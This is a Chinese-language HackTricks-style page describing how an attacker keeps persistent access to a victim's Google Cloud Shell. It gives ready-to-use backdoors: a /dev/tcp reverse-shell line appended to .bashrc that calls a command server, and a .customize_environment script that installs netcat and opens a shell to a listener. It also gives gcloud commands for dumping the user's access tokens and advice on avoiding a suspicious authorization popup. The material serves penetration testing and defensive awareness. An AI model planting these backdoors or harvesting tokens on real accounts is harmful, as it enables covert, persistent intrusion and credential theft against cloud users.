GCP - Cloud Shell Persistence

支持 HackTricks

云 Shell

有关更多信息,请查看:

GCP - Cloud Shell Enum

持久后门

Google 云 Shell 为您提供了直接从浏览器访问云资源的命令行访问权限,而无需任何相关费用。

您可以从 Web 控制台 或运行 gcloud cloud-shell ssh 访问 Google 的 Cloud Shell。

对于攻击者来说,这个控制台具有一些有趣的功能:

  1. 任何具有 Google Cloud 访问权限的 Google 用户 都可以访问一个完全经过身份验证的 Cloud Shell 实例(即使是组织的所有者也可以)。

  2. 该实例将在至少 120 天内保留其主目录,如果没有任何活动发生。

  3. 组织无法监视该实例的活动。

这基本上意味着,攻击者可以在用户的主目录中放置一个后门,只要用户每 120 天至少连接到 GC Shell 一次,后门就会存活,攻击者每次运行时都会获得一个 shell,只需执行:

echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc

在主目录中还有一个名为**.customize_environment的文件,如果存在,每次用户访问云shell时都会被执行**(就像在之前的技术中一样)。只需插入前面的后门或类似以下内容的后门,即可在用户**“频繁”**使用云shell时保持持久性:

#!/bin/sh
apt-get install netcat -y
nc <LISTENER-ADDR> 443 -e /bin/bash

重要提示:第一次执行需要身份验证的操作时,用户浏览器中会弹出授权窗口。必须在命令运行之前接受此窗口。如果出现意外弹窗,可能引起怀疑并潜在地危及正在使用的持久性方法。

这是在浏览器用户会话中查看作为攻击者执行gcloud projects list时的弹出窗口:

然而,如果用户已经积极使用了云shell,则不会出现弹窗,您可以收集用户的令牌

gcloud auth print-access-token
gcloud auth application-default print-access-token

SSH连接是如何建立的

基本上,使用了以下3个API调用:

但您可以在https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key找到更多信息。

参考资料

Last updated